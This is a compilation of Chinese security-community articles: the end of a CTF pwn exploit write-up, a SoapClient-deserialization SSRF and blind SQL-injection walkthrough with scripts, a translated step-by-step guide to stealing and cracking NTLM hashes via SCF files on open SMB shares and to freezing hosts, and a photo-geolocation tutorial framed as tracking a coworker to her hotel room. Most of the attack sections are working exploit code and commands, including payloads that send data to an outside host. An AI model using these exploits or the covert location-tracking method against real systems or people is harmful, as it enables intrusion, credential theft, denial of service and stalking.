0: content += "\x00" result = "" for i in range(0, len(content), 2): result += content[i+1] + content[i] return result def prepare_rop(): with context.local(endian='big'): header = p16(0x0000) addr = libc.address - 0x22000 esp = libc.address - 0x22000 + 0x200 + 4 code = "\x00" * 0x18 code += p32(0) code = code.ljust(0x30, "\x00") code += convert_addr(esp) code = code.ljust(0x4c, "\x00") code += convert_addr(libc.symbols['mprotect']) # ret_addr code = code.ljust(0x60, "\x00") code += convert_addr(addr+0x1000) code = code.ljust(0x1fc, "\x00") code += convert_addr(addr+0x308) # ret_addr after mprotect code += convert_addr(addr) # mprotect->addr code += convert_addr(0x1000) # mprotect->size code += convert_addr(0x7) # mprotect->prop code = code.ljust(0x300, "\x00") code += swap(asm(shellcraft.i386.linux.sh())) # shellcode return header + code def do_exit(): with context.local(endian='big'): code = p16(0x3000) code += p16(0xf026) # EXIT return code # leak libc off = (-8 + 0x22000 + 0x1b2e00) / 2 image1 = read_primitive(off) p.sendafter("Input: ", image1) content = ru("HALT") leak_libc = u32(content) info_addr("leak_libc", leak_libc) libc.address = leak_libc - libc.symbols['_IO_2_1_stdin_'] info_addr("libc", libc.address) # set freehook -> setcontext_gadget off = (-8 + 0x22000 + libc.symbols['__free_hook'] - libc.address) / 2 setcontext_gadget = libc.address + 0x3d0e7 image2 = write_primitive(off, setcontext_gadget) p.sendafter("Input: ", image2) # prepare_rop image4 = prepare_rop() p.sendafter("Input: ", image4) # trigger free and go to rop gdb.attach(p) image5 = do_exit() p.sendafter("Input: ", image5) p.interactive() ## 后记 这题主要想分享给大家三个知识点： 1. 虚拟机指令集的逆向，以及虚拟机类型pwn在CTF中常见的漏洞点设置 2. 32位下分配大量空间后的内存布局（mmap新段放在libc段前面） 3. 32位下`setcontext`gadget如何使用，将`__free_hook`劫持转换为rop。 很高兴这道题目以第二名的build分数获得了创新单项奖，同时帮助队伍忝列前十。 再次祝贺pizza短时间内解出此题，同时也希望国内比赛的pwn能多些新意，总是off-by-null之类的堆题目也没啥意思对吧。希望各位师傅玩得开心，若题目有不当之处，还请各位海涵。 cpt.shao@Xp0int
社区文章
# 背景 这是从暨南大学2018校赛的一道CTF题学习到的姿势 适用条件：服务器开了soap服务，允许soap数据的交互，并且有可控的点调用了反序列化，此时可以强行反序列化去调用soapclient类进行SSRF # 以题目为例 phpinfo可以看出开了soap，实际渗透测试可以盲测，假设开启，并看到有反序列化特征的参数，可以直接盲测 这道题还给了index.php和sqldebug.php的部分源码 index.php <?php ini_set('display_errors', 1); ini_set('display_startup_errors', 1); error_reporting(-1); class Auth { public $username = ''; public $login = 0; public function verify() { return 'FALSE'; } } ?> <!DOCTYPE html> <html> <head> <title>Login</title> </head> <body> <h1>Login</h1> <form action="" method="POST"> <table> <tr> <td>Username</td> <td><input type="text" name="username"></td> </tr> <tr> <td>Password</td> <td><input type="password" name="password"></td> </tr> <tr> <td>Remember me <input type="checkbox" name="rememberme"></td> <td><input type="submit" value="Submit"></td> </tr> </table> </form> <p> <?php if (isset($_POST['username'])) { $auth = new Auth(); $auth->username = $_POST['username']; setcookie('auth', base64_encode(serialize($auth))); } elseif (isset($_COOKIE['auth'])) { $auth = unserialize(base64_decode($_COOKIE['auth'])); } if (isset($auth)) { echo $auth->verify(); } ?> </p> </body> </html> sqldebug.php <?php include_once('db.php'); if ($_SERVER['REMOTE_ADDR'] !== '127.0.0.1') { die('you need to be 127.0.0.1'); } $uid = isset($_GET['uid']) ? $_GET['uid'] : 1; if (preg_match('/information_schema|database|sleep|benchmark|select(\/\*|[\(`\x00-\x20])/i', $uid)) { die('NONONO!'); } $db = mysqli_connect('127.0.0.1', 'demo', MYSQL_PASSWORD, DB_NAME); $sql = "SELECT * FROM `".TABLE_NAME."` WHERE `".COLUMN_ID."`='$uid'"; $result = $db->query($sql); $result = $result->fetch_assoc(); echo $result[COLUMN_USERNAME]; mysqli_close($db); ?> 从源码可以看到sqldebug过滤不严，可以注入 但是`$_SERVER['REMOTE_ADDR'] !== '127.0.0.1'`无法绕过，只能SSRF 又看到index.php中`$auth = unserialize(base64_decode($_COOKIE['auth']));`可控 那么我们可以强行调用php中的soapclient类，来进行SSRF # soapclient相关知识点 soapclient的调用可以参考文章 <https://xz.aliyun.com/t/2148> 对soap数据格式的理解可以用参考 <https://www.cnblogs.com/JeffreySun/archive/2009/12/14/1623766.html> <https://www.anquanke.com/post/id/153065> php关于soapclient的参考文档 <http://www.php.net/manual/zh/soapclient.soapclient.php> kali安装soap扩展，kali默认php7 apt-get install php-soap php -m | grep soap 因为题目环境是php5.6，那就kali安装下php5.6 apt-get install apt-transport-https curl https://packages.sury.org/php/apt.gpg | apt-key add echo 'deb https://packages.sury.org/php/ stretch main' > /etc/apt/sources.list.d/deb.sury.org.list apt-get update apt-get -y install php5.6 libapache2-mod-php5.6 php5.6-mysql php5.6-curl php5.6-gd php5.6-intl php-pear php-imagick php5.6-imap php5.6-mcrypt php-memcache php5.6-pspell php5.6-recode php5.6-sqlite3 php5.6-tidy php5.6-xmlrpc php5.6-xsl php5.6-mbstring php-gettext apt-get -y install php5.6-soap php5.6 -m | grep soap # 尝试调用soapclient类 先弹到自己vps，看看soapclient类是否能正常调用 soap.php <?php // $location = "http://127.0.0.1:80/sqldebug.php"; $location = 'http://178.128.15.64:2333/'; $a = new SoapClient(null, array('location' => $location ,'uri' => '123')); echo serialize($a); echo "\n"; echo "\n"; $auth= base64_encode(serialize($a)); echo $auth; echo "\n"; echo "\n"; ?> 运行soap.php $ php5.6 soap.php O:10:"SoapClient":3:{s:3:"uri";s:3:"123";s:8:"location";s:26:"http://178.128.15.64:2333/";s:13:"_soap_version";i:1;} TzoxMDoiU29hcENsaWVudCI6Mzp7czozOiJ1cmkiO3M6MzoiMTIzIjtzOjg6ImxvY2F0aW9uIjtzOjI2OiJodHRwOi8vMTc4LjEyOC4xNS42NDoyMzMzLyI7czoxMzoiX3NvYXBfdmVyc2lvbiI7aToxO30= burp的post报文 POST /index.php HTTP/1.1 Host: 35.221.144.41:8084 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://35.221.144.41:8084/index.php Cookie: auth=TzoxMDoiU29hcENsaWVudCI6Mzp7czozOiJ1cmkiO3M6MzoiMTIzIjtzOjg6ImxvY2F0aW9uIjtzOjI2OiJodHRwOi8vMTc4LjEyOC4xNS42NDoyMzMzLyI7czoxMzoiX3NvYXBfdmVyc2lvbiI7aToxO30%3D Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 0 vps收到的报文 root@ubuntu16:~# nc -lvvv 2333 Listening on [0.0.0.0] (family 0, port 2333) Connection from [35.221.144.41] port 2333 [tcp/*] accepted (family 2, sport 38292) POST / HTTP/1.1 Host: 178.128.15.64:2333 Connection: Keep-Alive User-Agent: PHP-SOAP/5.6.37 Content-Type: text/xml; charset=utf-8 SOAPAction: "123#verify" Content-Length: 369 <?xml version="1.0" encoding="UTF-8"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="123" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:verify/></SOAP-ENV:Body></SOAP-ENV:Envelope> soapclient类成功被调用，成功访问到vps，然后会因为soapclient类没有verify()方法而导致报错，会默认调用call方法，但是已经不影响我们调用soapclient来进行SSRF 这里可惜的点是，soapclient默认是用post，然后在xml中以xml格式来传递post参数，但是我们在SSRF的时候，除非知道服务器wsdl的模板位置以及模板内容，才可以去构造post参数，不然一般只能在$location处对GET参数进行注入等攻击 $location = "http://127.0.0.1:80/sqldebug.php?uid=1'%23 注意这里的端口是80，而不是8084，因为是docker映射的 # sql盲注部分 先判断列数，如果union select的列数不对，index.php请求就会Internal Server Error columns.py #!/usr/bin/env python3 import requests import base64 from urllib.parse import quote url = "http://35.221.144.41:8084/index.php" tpl = ["1"] while True: done = False ssrfurl = "http://127.0.0.1/sqldebug.php?uid=1'and+0+union+select@a:=" + ','.join( tpl) + "%23" serial = 'O:10:"SoapClient":3:{s:3:"uri";s:3:"abc";s:8:"location";s:' + str( len(ssrfurl)) + ':"' + ssrfurl + '";s:13:"_soap_version";i:1;}' auth = quote(base64.b64encode(serial.encode())) resp = requests.get(url, cookies={'auth': auth}) print(len(tpl)) if 'Internal Server Error' not in resp.text: # print(resp.text) break tpl += ["1"] 一共有5列 注入得到flag，exp.py #!/usr/bin/env python3 import requests import binascii import base64 from urllib.parse import quote import sys url = "http://35.221.144.41:8084/index.php" for pos in [0, 2, 3, 4]: tpl = ['0', "'<aaa></aaa>'", '0', '0', '0'] r = [] done = False while not done and len(r) <= 40: for c in range(0x19, 0x7F): hexstr = bytes(r + [c]) tpl[pos] = '0x' + binascii.hexlify(hexstr).decode() ssrfurl = "http://127.0.0.1/sqldebug.php?uid=" + sys.argv[1] + "'union+select@a:=" + ','.join( tpl) + "+order+by+" + str(pos + 1) + "%23" # print(ssrfurl) serial = 'O:10:"SoapClient":3:{s:3:"uri";s:3:"abc";s:8:"location";s:' + str( len(ssrfurl)) + ':"' + ssrfurl + '";s:13:"_soap_version";i:1;}' auth = quote(base64.b64encode(serial.encode())) resp = requests.get(url, cookies={'auth': auth}) if 'got no XML document' in resp.text: if 0x19 == c: done = True else: r += [c - 1] break print(pos+1, bytes(r)) 通过测试，uid=2对应的几个列分别是 COLUMN_ID = '2'（第1列） COLUMN_xxx = ''(第2列，为空) COLUMN_xxx = '99' (第3列) COLUMN_PASSWORD = 'FLAG{UN10N_S313CT_0RD3R_13Y}'(第4列) COLUMN_USERNAME = '[email protected]'(第5列) order by 注入的原理可以看我这篇文章 <https://www.jianshu.com/p/83d07d5c3af8> 大致原理是select出一个字符串，再去order by 一个字段 由于后端只会显示第一列，所以数据库会按照这两个字符串的大小来排序 至于排序的规则是从左到右逐位比较ascii码的大小，所以可以从左到右逐位遍历，最终得到该字段的值 http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0x2f,'<aaa></aaa>',0,0,0+order+by+1%23 http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0x30,'<aaa></aaa>',0,0,0+order+by+1%23 http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0x31,'<aaa></aaa>',0,0,0+order+by+1%23 http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0x32,'<aaa></aaa>',0,0,0+order+by+1%23 http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0x33,'<aaa></aaa>',0,0,0+order+by+1%23 1 b'2' http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0,'<aaa></aaa>',0x3937,0,0+order+by+3%23 http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0,'<aaa></aaa>',0x3938,0,0+order+by+3%23 http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0,'<aaa></aaa>',0x3939,0,0+order+by+3%23 http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0,'<aaa></aaa>',0x393a,0,0+order+by+3%23 3 b'99' http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0,'<aaa></aaa>',0,0x464c41477b554e31304c,0+order+by+4%23 http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0,'<aaa></aaa>',0,0x464c41477b554e31304d,0+order+by+4%23 http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0,'<aaa></aaa>',0,0x464c41477b554e31304e,0+order+by+4%23 http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0,'<aaa></aaa>',0,0x464c41477b554e31304f,0+order+by+4%23 4 b'FLAG{UN10N' http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0,'<aaa></aaa>',0,0,0x41444b+order+by+5%23 http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0,'<aaa></aaa>',0,0,0x41444c+order+by+5%23 http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0,'<aaa></aaa>',0,0,0x41444d+order+by+5%23 http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0,'<aaa></aaa>',0,0,0x41444e+order+by+5%23 5 b'ADM' # 花絮 最后深大信安协会的师弟师妹们，给暨大友情测试了一波，tql 欢迎外校的师傅们多交流~
社区文章
# 【技术分享】ADV170014 NTLM SSO：利用指南 | ##### 译文声明 本文是翻译文章，文章来源：sysadminjd.com 原文地址：<http://www.sysadminjd.com/adv170014-ntlm-sso-exploitation-guide/> 译文仅供参考，具体内容表达以及含义原文为准。 译者：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922) 预估稿费：200RMB 投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿 ** ** **一、前言** 2017年10月，微软在周二补丁日公布了一份安全公告（ **ADV170014** ），这份安全公告中提到了 **NTLM** 身份验证方案中的一个漏洞，恶意攻击者可以利用这个漏洞来窃取哈希，远程冻结受影响的主机。 我在2017年5月24日报告了这个漏洞，微软于2017年10月18日正式结束了该漏洞处理周期。 因此，微软总共花了148天来检查这个问题。 在10月份的周二补丁日之后，我公开了漏洞的详细信息，既然官方已经公布这个漏洞的“解决方案”，现在系统管理员可以在注册表上使用补丁来修复漏洞（前提当前环境可以使用这个补丁），后面我们会详细介绍这一点。 **二、漏洞概要** 众所周知，微软的NTLM架构中存在一些缺陷，哈希窃取并不是一门新的技术，渗透测试人员在攻击微软环境时，首先就会尝试哈希窃取技术。 然而，这些技术大多数都需要用户参与其中，或者需要拦截流量才能完成攻击流程。 本文介绍的这种新的攻击方法完全不需要用户交互，所有操作都可以在攻击者这端完成，当然，为了成功实施攻击，必须满足某些条件。 **三、攻击场景** 若要实施攻击，目标主机上必须存在没有设置密码保护的一个共享文件夹，这种场景非常常见，比如办公室、学校、医院以及大多数Windows环境中，人们都会通过共享文件夹来共享音乐、照片以及文档。 举个例子，用户“Juan”在他的桌面上创建了一个文件夹，名为“Pruba2”，他想把这个文件夹共享给他的团队使用。 现在，转到“Sharing（共享）”选项卡窗口，修改目录属性，允许用户不使用密码来查看这个共享文件夹。 在这个对话框中，我们可以看到共享文件夹的具体路径，为“\JUAN-PCUsersjuanDesktopprueba2”。 现在，点击“Network and Sharing center（网络和共享中心）”。 如上图所示，点击“Turn off password protected sharing（关闭密码保护共享）”选项，这样一来，任何用户就可以访问这个共享文件夹，无需身份验证。 **四、SCF文件** 微软在Windows 3.11时引入了 **SCF** 文件。SCF文件其实是纯文本文件，可以用来指导Windows文件资源管理器执行一些基本任务。 现在已经有一些基于SCF的攻击手段，但到目前为止，所有的这些攻击方法都需要用户参与才能执行SCF文件。 我们找到了近期使用的两个例子，来自Defense Code的Bosko Stankovic在一篇文章中介绍了如何使用Google Chrome浏览器窃取Windows凭据信息，2015年的黑帽大会上，Jonathan Brossard以及Hormazd Billimoria演示了使用SMB的一种攻击方法（请参考：“SMB:共享的不仅仅是你的文件”）。 基本的SCF文件结构如下所示： [Shell] Command=2 IconFile=\192.168.1.101sharetest.ico [Taskbar] Command=ToggleDesktop 文件结构就是这么简单。值得一提的是，SCF文件表面上看起来比较简单，实际上这个Windows功能非常复杂，并且几乎不存在相关的参考文档。 **五、窃取哈希** 在攻击演示场景中，我们准备使用 **Metasploit** 工具，所使用的SCF文件内容如下所示： root@sysadminjd:~# cat test.scf [Shell] Command=2 IconFile=\192.168.1.111sharetest.ico [Taskbar] Command=ToggleDesktop root@sysadminjd:~# 我们所使用的攻击主机IP地址为192.168.1.111，在攻击主机上，我们运行着capture/smb Metasploit模块： root@sysadminjd:~# msfconsole -q msf > use auxiliary/server/capture/smb msf auxiliary(smb) > set JOHNPWFILE /tmp/smbhash.txt JOHNPWFILE = /tmp/smbhash.txt msf auxiliary(smb) > exploit -j [*] Auxiliary module running as background job [*] Server started. msf auxiliary(smb) 因为我们准备使用John the Ripper来破解捕获的哈希，所以我们需要在上述命令中设置JOHNPWFILE选项，将其指向/tmp/smbhash.txt，该文件用来保存已捕捉到的哈希值。 此时，Prueba2目录中空空如也，想要攻击成功的话，我们需要往里面添点东西。 一切准备就绪后，我们需要将SCF文件上传到受漏洞影响的这个目录中，此时我们可以使用各种方法，比如通过OSX Finder、Windows资源管理器来上传文件，这里我们使用的是smbclient这个命令行工具。 root@sysadminjd:~# smbclient //192.168.1.67/Users WARNING: The "syslog" option is deprecated Enter root's password: OS=[Windows 7 Ultimate 7601 Service Pack 1] Server=[Windows 7 Ultimate 6.1] smb: > cd juan smb: juan> cd Desktop smb: juanDesktop> cd prueba2 smb: juanDesktopprueba2> put test.scf putting file test.scf as juanDesktopprueba2test.scf (88.9 kb/s) (average 88.9 kb/s) smb: juanDesktopprueba2> ls . D 0 Mon Oct 23 12:27:15 2017 .. D 0 Mon Oct 23 12:27:15 2017 .DS_Store AH 6148 Tue May 23 17:29:03 2017 test.scf A 91 Mon Oct 23 12:27:15 2017 6527487 blocks of size 4096. 4043523 blocks available smb: juanDesktopprueba2> root@sysadminjd:~# 随后，这个目录中出现了我们上传的SCF文件。 一切顺利的话，此时我们的Metasploit控制台中会出现如下信息： msf auxiliary(smb) > [*] SMB Captured - 2017-10-23 12:27:15 -0400 NTLMv2 Response Captured from 192.168.1.67:49163 - 192.168.1.67 USER:juan DOMAIN:juan-PC OS: LM: LMHASH:Disabled LM_CLIENT_CHALLENGE:Disabled NTHASH:47894338d99abe2f08e2c693618c7323 NT_CLIENT_CHALLENGE:0101000000000000d0046aca1b4cd301d755c3756d5639d800000000020000000000000000000000 [*] SMB Captured - 2017-10-23 12:27:15 -0400 NTLMv2 Response Captured from 192.168.1.67:49163 - 192.168.1.67 USER:juan DOMAIN:juan-PC OS: LM: LMHASH:Disabled LM_CLIENT_CHALLENGE:Disabled NTHASH:e97b70559f29462e2ca221d31113b9ca NT_CLIENT_CHALLENGE:0101000000000000a0177dca1b4cd301f59d5c5d52708e3b00000000020000000000000000000000 [*] SMB Captured - 2017-10-23 12:27:15 -0400 NTLMv2 Response Captured from 192.168.1.67:49163 - 192.168.1.67 USER:juan DOMAIN:juan-PC OS: LM: LMHASH:Disabled LM_CLIENT_CHALLENGE:Disabled NTHASH:eb8b228b739cc95a12d7e0d89d89e002 NT_CLIENT_CHALLENGE:0101000000000000620389ca1b4cd3017283fc96884767b700000000020000000000000000000000 [*] SMB Captured - 2017-10-23 12:37:09 -0400 NTLMv2 Response Captured from 192.168.1.67:49164 - 192.168.1.67 USER:juan DOMAIN:juan-PC OS: LM: LMHASH:Disabled LM_CLIENT_CHALLENGE:Disabled NTHASH:4abb0803c4afd1509bfca3bbc566ad70 NT_CLIENT_CHALLENGE:010100000000000076d7742c1d4cd30161b2c77a54bd58fe00000000020000000000000000000000 [*] SMB Captured - 2017-10-23 12:37:09 -0400 NTLMv2 Response Captured from 192.168.1.67:49164 - 192.168.1.67 USER:juan DOMAIN:juan-PC OS: LM: LMHASH:Disabled LM_CLIENT_CHALLENGE:Disabled NTHASH:5eeb82aab85e9663624aaf6500e4d8f8 NT_CLIENT_CHALLENGE:010100000000000046ea872c1d4cd301c7a724adf323918c00000000020000000000000000000000 [*] SMB Captured - 2017-10-23 12:37:09 -0400 NTLMv2 Response Captured from 192.168.1.67:49164 - 192.168.1.67 USER:juan DOMAIN:juan-PC OS: LM: LMHASH:Disabled LM_CLIENT_CHALLENGE:Disabled NTHASH:55a0cb725a5a171cffdccea36fdcd934 NT_CLIENT_CHALLENGE:010100000000000054118f2c1d4cd301f718b1ba2d4efc7800000000020000000000000000000000 如上所示，只需要一个简单的上传操作，就能触发多次身份认证请求，因此我们不用担心拿不到数据。 现在，在攻击主机上我们已经捕获到一些哈希值，接下来我们可以使用John来暴力破解明文密码。 root@sysadminjd:~# cd /tmp/ root@sysadminjd:/tmp# john smbhash.txt_netntlmv2 Using default input encoding: UTF-8 Rules/masks using ISO-8859-1 Loaded 6 password hashes with 6 different salts (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64]) Press 'q' or Ctrl-C to abort, almost any other key for status abc (juan) abc (juan) abc (juan) abc (juan) abc (juan) abc (juan) 6g 0:00:00:00 DONE 2/3 (2017-10-23 12:27) 75.86g/s 404596p/s 585124c/s 585124C/s abc Use the "--show" option to display all of the cracked passwords reliably Session completed root@sysadminjd:/tmp# John成功恢复了明文密码，看起来“juan”用户使用了弱口令“abc”。 **六、冻结目标主机** 在第二种攻击场景中，我们可以远程冻结目标主机，来看看具体操作步骤。 我们还是需要存在漏洞的一个文件夹，这里我们直接使用了前面那个文件夹，同样，我们也需要使用一个SCF文件，文件内容与上一个文件相比有点区别。 root@sysadminjd:~# cat mft.scf [Shell] Command=2 IconFile= c:$MFT123 [Taskbar] Command=ToggleDesktop root@sysadminjd:~# 这个SCF文件中引用了$MFT，这个字符串可以锁定NTFS文件系统，已经有一篇文章介绍过这个技术（西班牙语写的，阅读起来可能有点麻烦），你也可以在互联网上搜搜关于这方面的参考资料。 现在，我们可以使用smbclient将该SCF文件上传到存在漏洞的主机上。 root@sysadminjd:~# smbclient //192.168.1.67/Users WARNING: The "syslog" option is deprecated Enter root's password: OS=[Windows 7 Ultimate 7601 Service Pack 1] Server=[Windows 7 Ultimate 6.1] smb: Z cd Default desktop.ini juan Public smb: &amp;gt; cd juanDesktopprueba2 smb: juanDesktopprueba2&amp;gt; ls . D 0 Wed May 24 18:08:34 2017 .. D 0 Wed May 24 18:08:34 2017 .DS_Store AH 6148 Tue May 23 17:29:03 2017 1.exe A 7168 Tue May 23 17:29:03 2017 prueba.scf A 92 Wed May 24 18:08:34 2017 6527487 blocks of size 4096. 4156104 blocks available smb: juanDesktopprueba2&amp;gt; put mft.scf putting file mft.scf as juanDesktopprueba2mft.scf (17.6 kb/s) (average 17.6 kb/s) 整个过程就是这么简单，从现在起，攻击者或目标用户不需要再做什么操作，目标主机会锁定文件系统，直至重启。 **七、影响范围** 根据微软的说法，从Windows 3.11开始到Windows 10的所有Windows版本（包括桌面版以及服务器版）都会受到这种攻击影响。 实话实说，我只在Windows 7以及Windows 10上测试过这种攻击方法，然后我就把皮球踢给微软，由他们负责处理后续事宜 🙂 **八、防御措施** 微软为这个漏洞提供了一个补丁程序，这个补丁会修改两项注册表键值，以禁用系统上的NTLM机制。只有Windows 10以及Windows Server 2016上才有这些注册表键值，并且看起来微软并不想将这种机制移植到其他版本的Windows系统。 另一个问题是，禁用NTLM会破坏已有的许多环境，这一点不容忽视。 我的建议是使用强度较高的密码。实施攻击后，我们需要破解已捕获的哈希，如果密码非常复杂，破解过程可能需要很长时间，让攻击者举足无措。 更好的办法是，不要设置没有密码的共享文件夹，这样做就能免受此类攻击。 **九、致谢及总结** 这个漏洞已经存在很长一段时间，我在渗透测试任务中使用这个漏洞已将近一年的时间。 漏洞原理非常简单，几乎每个人都可以加以利用。好消息是，想要成功利用这个漏洞必须满足一些条件，使用默认配置的Windows不会受此漏洞影响。 感谢微软安全响应中心（MSRC），他们付出了许多心血，同时也提供了一个补丁修复了部分操作系统上存在的漏洞。想在不破坏Windows系统完整性的同时，提供完整补丁以适配所有版本的操作系统，这一点不大现实。 来自Defense Code的Bosko Stankovic发表了一篇文章介绍如何使用Chrome浏览器窃取Windows凭据，黑帽大会上Jonathan Brossard和Hormazd Billimoria演示了如何利用SMB发起攻击，他们的研究成果非常优秀，没有他们的帮助，我很难实现这个漏洞利用技术。 再次感谢读者阅读本文。
社区文章
# 情报分析与研判之图片信息挖掘（1） ##### 译文声明 本文是翻译文章 译文仅供参考，具体内容表达以及含义原文为准。 ## 前言 情报是经过严格定性与定量处理的条理化、系统化和知识化的信息。情报分析是通过对全源数据进行综合、评估、分析和解读，将处理过的信息转化为情报以满足已知或预期用户需求的过程。情报小至个人，大则无论在商业活动、社会行为、安全范畴甚至于军事领域，都是不可或缺的关键点。但我们如何分析情报，并从中获取有效信息，本文就该话题浅谈图片信息挖掘的运用，我们通过一个场景进行图片信息挖掘的演示。 ## 应用场景 场景设计：约女神看毒液结果被放鸽子。 我，身为二线城市的程序猿，除了改bug就是写bug，追求公司里的一妹子好多年，看到最近毒液上映了，而且这周终于不加班，明天可以约女神看电影，嘿嘿嘿，两个人的时光……喂，醒醒，醒醒，快点把这bug改了。 六点，下班了。没看到女神，好像先走了。算了算了，微信问问。 约到了，想想就激动。赶紧去预定个烛光晚餐，那个浪漫……看来我有机会脱单了，谁说程序猿没女朋友的。嘿嘿嘿，静等明天下午。 然而，我内心是肯定不信的。肯定有猫腻，哪有那么巧就去替人兼职了。程序猿哪有那么容易认输。于是，我对她这张照片产生了丝丝念头。 附图： 进入正题： 初步查看，她在微信发送图片的时候，选择了原图。我们通过以下几种方式来获取她的位置信息。由于情景需要，所使用的图片可能拍摄日期和时间不符合，请勿在意。 ## 分析手法 ### 1\. 图片EXIT信息 既然是原图，第一时间应该想到的是图片的EXIF信息。 > 来自百度百科的定义：可交换图像文件格式（英语：Exchangeable image file > format，官方简称Exif），是专门为数码相机的照片设定的，可以记录数码照片的属性信息和拍摄数据。 我们直接使用EXIF相关工具查看，这里使用了图虫的EXIF信息查看器（URL：<https://exif.tuchong.com> ），现在大部分智能手机也自带照片信息查看功能，我这里使用的是小米的MIUI系统，下面我们通过结合EXIF的两种方式来获取女神的所在地。 A、通过手机相册直接查看，会发现原图直接包含位置坐标。问题来了，我们如何避免发送出去的图片带有位置信息呢？可以在相机设置中，关闭位置权限。另外在微信或者QQ等聊天软件中，非必要尽量避免使用原图发送，普通的图片发送，服务端会进行图片压缩，这样原始的EXIF信息就会丢失掉，能确保自己的信息不会泄露。 B、图虫的EXIF工具。 主要提取信息如下： 拍摄器材：CLT-AL00, 时间：2018:11:18 06:50:24.345647 地点：25 deg 2’ 46.55” N, 118 deg 10’ 47.53” E,0 m Above Sea Level 坐标有了，我们需要个经纬度转换，附上经纬度在线转换工具（URL：<http://www.minigps.net/fc.html> ）。 转换结果如下： 经度E：118° 10’ 47.53” 结果:118.17986944444445 纬度N：25° 2’ 46.55” 结果:25.046263888888888 我们使用地图，这里使用了百度地图拾取坐标系统反查。（URL：<http://api.map.baidu.com/lbsapi/getpoint/index.html> ） 总结：在这里查询EXIF信息，推荐一款神器。MagicEXIF元素数据编辑器，该软件仅有Windows版本。Mac系统可以使用图虫的在线查询。EXIF方式较为容易，在原图的前提下，手机可直接查看地理位置信息，EXIF信息也包含了经纬度信息。但是如果在实际应用中，对方使用了虚拟定位、机型修改等手法，EXIF方式是无效的。所以，在情报分析应用中，不能单独使用一种方式进行判断。 ### 2\. 通过图片本体特征分析 图片本身就包含了众多信息，我们通常结合街景地图，提取图片中的有效特征，进行综合分析。在这张图中，我们放大看，寻找有效特征。 如图，放大之后，我们在建筑物上直接寻找到了楼盘名称“南华嘉园”，使用百度地图，直接搜索南华嘉园，进入街景地图查看。 先不要着急确定，我们来与女神发的图片进行特征比对。因为相似建筑物很多，全国有很多南华嘉园，我们直接提取特征进行比对。 蓝色框：南华嘉园四字，符合。 红色框：后面高楼的楼顶建筑风格，符合。 黄色框：低层楼楼前有树，成排状，符合。 绿色框：可以看到两座楼之间有间距，由于拍摄角度原因，导致左图是倾斜拍摄，但通过街景地图可以看到，符合。 既然都说到了提取图片中的有效特征，那么我们不妨看看其他有效特征。我们放大原图，可以注意到一层是商铺，也可以看到很多店名。 我们可以通过地图搜索这些信息，可以综合确定地理位置确实是在福建省泉州市。但是问题来了，我们要的是女神所在位置，我们有对面的信息有什么用，别急，下面才是正题。 首先我们分析出，拍摄者应该是斜对角度拍到的南华嘉园四个字，所以所在的建筑物不是南华嘉园那座楼的正对面。 通过街景地图寻找，首先提取有效特征： 红色区域为所在建筑物的特征点，根据此特征点，通过拍摄角度可以得知白色区域为该建筑物正对方。那还等什么，直接使用街景地图，看对面有什么。 红色区域成功提取到相符特征，结合原图提取的该特征，可以判断出拍摄者在该酒店的五楼。 最后汇总一下：拍摄者使用了华为P20手机，目前住在福建省泉州市的安溪永隆大酒店，五楼靠近东边的房间。 场景后话：我很伤心，伤心的不是女神放我鸽子，她工资那么低！哪来的钱买P20！上周还借了我的钱，昨天还看她用了个360手机。看来是别人手机拍的，买P20的女生少之又少，so，这下彻底失望了。而且……还在这么高级的国际酒店。 ## 本文小结 情报分析需要结合多种方式进行判断，不能使用单一途径就确定了情报属实，在未来的社会环境中，会有很多不确定因素，必须多途径、多渠道、多维度的分析和掌握情报的使用。本文主要介绍EXIF信息的利用以及图片特征提取分析。 EXIF信息，它就是一种用来描述数码图片的元数据。根据EXIF标准，这些元数据包括：Image Description(图像描述、来源. 指生成图像的工具 )、Artist(作者)、Make( 生产者)、Model (型号)、….、等等。 通俗点说，生活中我们填写的个人信息登记，包括姓名、性别、民族、政治面貌、学历、职称等等这些就是锁定个人的元数据。 通常情况下元数据可以分为以下三类：固有性元数据、管理性元数据、描述性元数据。 * 固有性元数据：与事物构成有关的元数据。 * 管理性元数据：与事物处理方式有关的元数据。 * 描述性元数据：与事物本质有关的元数据。 通俗点说，与事物构成有关就是说明这个东东是什么、与事物处理方式有关就是说明这个东东的用途是什么、与事物本质有关就是可以直接用来描述这个东东。而图片大小、类型就是固有性；经纬度、拍摄者就是管理性；用户自己添加的描述就是描述性。比如说：一张tom在北美洲拍摄的643KB有关于战争的PNG照片。其中643KB、PNG就是固有性元数据，北美洲、tom就是管理性元数据，关于战争就是描述性元数据。这些数据通常会包含了个人隐私信息。 而在情报分析和研判中，EXIF的元数据信息主要有如下用途： 1. 获取拍摄地点、坐标信息； 2. 